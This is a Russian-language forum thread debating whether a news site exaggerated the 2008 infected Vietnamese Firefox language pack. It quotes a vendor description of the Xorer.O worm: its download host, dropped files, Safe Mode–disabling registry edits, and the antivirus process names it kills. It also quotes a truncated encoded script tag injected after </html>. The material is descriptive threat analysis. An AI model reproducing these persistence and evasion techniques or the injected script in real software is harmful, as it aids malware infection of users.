Форум mozilla-russia дает оценку статьи Security Lab. "SecLab раздула из мыши гору по отношению к Mozilla Firefox"

Форум mozilla-russia дает оценку статьи [url]http://www.securitylab.ru/news/352666.php[/url]
[quote]Security Lab опять доказал свою желтизну, публикуя новости типа "Moziila несколько месяцев распространяла Firefox с внедренным трояном", намекая на то, что, якобы, все сборки Mozilla Firefox были заражены. В реальности ни одна сборка Firefox заражена не была. Вирус был во вьетнамской локализации, которая распространялась с сайта обновлений и ставилась только теми, кому она была нужна.
Заголовок "новости" лжёт вдвойне, говоря про троян. Xorer.O [url]http://www.pandasecurity.com/homeusers/security-info/about-malware/encyclopedia/overview.aspx?idvirus=189095&sitepanda=particulares[/url]является червём и всего навсего показывает баннеры.
[url]http://blog.mozilla.com/security/2008/05/07/compromised-file-in-vietnamese-language-pack-for-firefox-2[/url]

P.S. Они даже не осилили правильное написание слова Mozilla [/quote]

[url]http://forum.mozilla-russia.org/viewtopic.php?id=23056[/url]

[size="1"][color="#666686"][B][I]Добавлено через 2 минуты[/I][/B][/color][/size]

Мда, всего-навсего "безобидный червь" :O
[quote]
[B]Xorer.O[/B]

Тип:
Червь [URL="http://safe.cnews.ru/bugtrack/entry/index.shtml?malicious/2008/03/04/106532#"][IMG]http://pics.rbc.ru/img/cnews/2007/10/16/question_icon.gif[/IMG][/URL]
[URL="http://safe.cnews.ru/bugtrack/entry/index.shtml?malicious/2008/03/04/106532#"][IMG]http://pics.rbc.ru/img/cnews/2007/10/16/close_note.gif[/IMG][/URL]Черви - вредоносные программы, распространяющиеся копированием себя целиком либо непосредственно при помощи функции копирования, либо при помощи эксплуатации критических уязвимостей систем к удалённому выполнению кода, не требующих участия пользователя, либо при помощи массовой рассылки себя по электронной почте, либо при помощи рассылки ссылок на своё местонахождение в интернете (в том числе - ссылок на вредоносные страницы, эксплуатирующие уязвимости браузеров для установки своей копии в систему).
Операционная система:
Windows
Уровень:
низкий
Размер:
95.744 байта

[B]Признаки[/B]

Производит следующие действия: проверяет наличие соединения с интернетом. В случае обнаружения, загружает с сайта [URL]http://js.k[/URL][???]02.com два файла - DATA.GIF (обновление червя) и ANTITOOL.EXE, записывающий в систему библиотеку перехвата трафика WinPCap и файл ALG.EXE, перехватывающий и модифицирующий трафик.
Для маскировки использует руткит для сокрытия своих файлов, скрывает отображение системных файлов.
Завершает процессы, в имени которых содержатся следующие текстовые строки:
[LIST][*]#32770[*]360anti[*]360safe[*]AfxControlBar42s[*]antivir[*]bitdefender[*]cabinetwclass[*]dr.web[*]escan[*]ewido[*]facelesswndproc[*]firewall[*]ieframe[*]mcagent[*]metapad[*]monitor[*]mozillauiwindowclass[*]SREng[*]tapplication[*]thunderrt6formdc[*]thunderrt6main[*]ThunderRT6Timer[/LIST]

Распространяется, создавая в корне всех дисков файлы PAGEFILE.PIF, 037589.LOG и AUTORUN.INF (файл, обеспечивающий автозапуск PAGEFILE.PIF при подключении к системе).
Создает следующие файлы:
[LIST][*]LSASS.EXE - в поддиректории Com системной директории Windows[*]~????.EXE - в директории Автозапуска (? - случайные символы)[/LIST]

Также создает файлы:
[LIST][*]NETAPI000.SYS - в корне диска C: - руткит для сокрытия файлов, принадлежащих червю[*]NETCFG.000, NETCFG.DLL и SMSS.EXE - в поддиректории Com в системной директории Windows[*]DNSQ.DLL - в системной директории Windows[/LIST]

Модифицирует следующие записи в реестре:
[LIST][*]HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced\ Folder\ SuperHidden \ Type = radio ox b o x WinRAR\WinRAR.exe" "%1" R A R \ W i n R A R . e x e " "????. e x e "[*]HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced \ ShowSuperHidden = 00, 00, 00, 00[/LIST]

Удаляет из реестра следующие записи для отключения возможности загрузки системы в "Безопасном режиме" (Safe Mode):
[LIST][*]HKEY_LOCAL_MACHINE\ SYSTEM\ ControlSet001\ Control\ SafeBoot\ Minimal\ {4D36E967-E325-11CE-BFC1-08002BE10318} \ (Default) = DiskDrive[*]HKEY_LOCAL_MACHINE\ SYSTEM\ ControlSet001\ Control\ SafeBoot\ Network\ {4D36E967-E325-11CE-BFC1-08002BE10318} \ (Default) = DiskDrive[*]HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Control\ SafeBoot\ Minimal\ {4D36E967-E325-11CE-BFC1-08002BE10318} \ (Default) = DiskDrive[*]HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Control\ SafeBoot\ Network\ {4D36E967-E325-11CE-BFC1-08002BE10318} \ (Default) = DiskDrive[/LIST]

Также удаляет из реестра все записи, принадлежащии ветви автозапуска (HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Run).
[B]ЗАЩИТА[/B]

[LIST][*]Отключить функцию "Восстановление системы" (для Windows ME и XP)[*]Полностью проверить систему антивирусом с обновлённой базой сигнатур[*]Удалить все ключи реестра, созданные вредоносной программой; восстановить изменённые настройки (использовать regedit.exe)[/LIST][B]Действие[/B]

Червь для платформы Windows. Распространяется копированием себя на съемные и сетевые диски. Перехватывает интернет-трафик в локальной сети и модифицирует запрашиваемые веб-страницы, добавляя к ним всплывающее окно с текстом на китайском языке.
источник: PandaSecurity.com
[/quote]

ALEX(XX) это форум mozilla-russia дает оценку статьи [url]http://www.securitylab.ru/news/352666.php[/url], а не статьи [url]http://security.compulenta.ru/356705/[/url]
Эмоционально очень

[quote=SDA;225739]ALEX(XX) это форум mozilla-russia дает оценку статьи [URL]http://www.securitylab.ru/news/352666.php[/URL], а не статьи [URL]http://security.compulenta.ru/356705/[/URL]
Эмоционально очень[/quote]
Блин... Позор на мою седую голову.

Да ничего страшного :)

Безупречная логика. Действительно, различие между трояном и вирусом с точки зрения рядового интернет-серфера столь велики, что автор статьи на Security Lab теперь обязан застрелиться.

-закономерный итог для Mozilla Firefox... удивительно, что случай единичный ;)

[QUOTE=Alex Plutoff;225852]-закономерный итог для Mozilla Firefox... удивительно, что случай единичный ;)[/QUOTE]:?

[quote=Alex Plutoff;225852]-закономерный итог для Mozilla Firefox... удивительно, что случай единичный ;)[/quote]
Это ждет все приложения с открытой архитектурой.

Да ладно вам, гораздо интереснее другое. Прочитав исходное сообщение, видим что

[quote]All help pages (*.xhtml) are malicious script right after
</html>:

<script src="http://%6A%73..."></script>[/quote]

:O

Совершенно непонятно, что заставляет обрабатывать скрипт ПОСЛЕ закрывающего </html>.
Наверное, массовое следование некоторым дубовым традициям....

[QUOTE]With info from Panda security, I think it just because the author's local
network was infected with the virus, so it modified html files. The main virus
is a Win32 program. The infected code just display annoying banner but it can't
propagate.

I think we might just remove the script and everything backs ok.[/QUOTE]я так понял, кроме банерного скрипта, там ничего не было.

Xorer - это не только банеры.

именно это я имею в виду: по-видимому, от хорера там только баннеры и остались.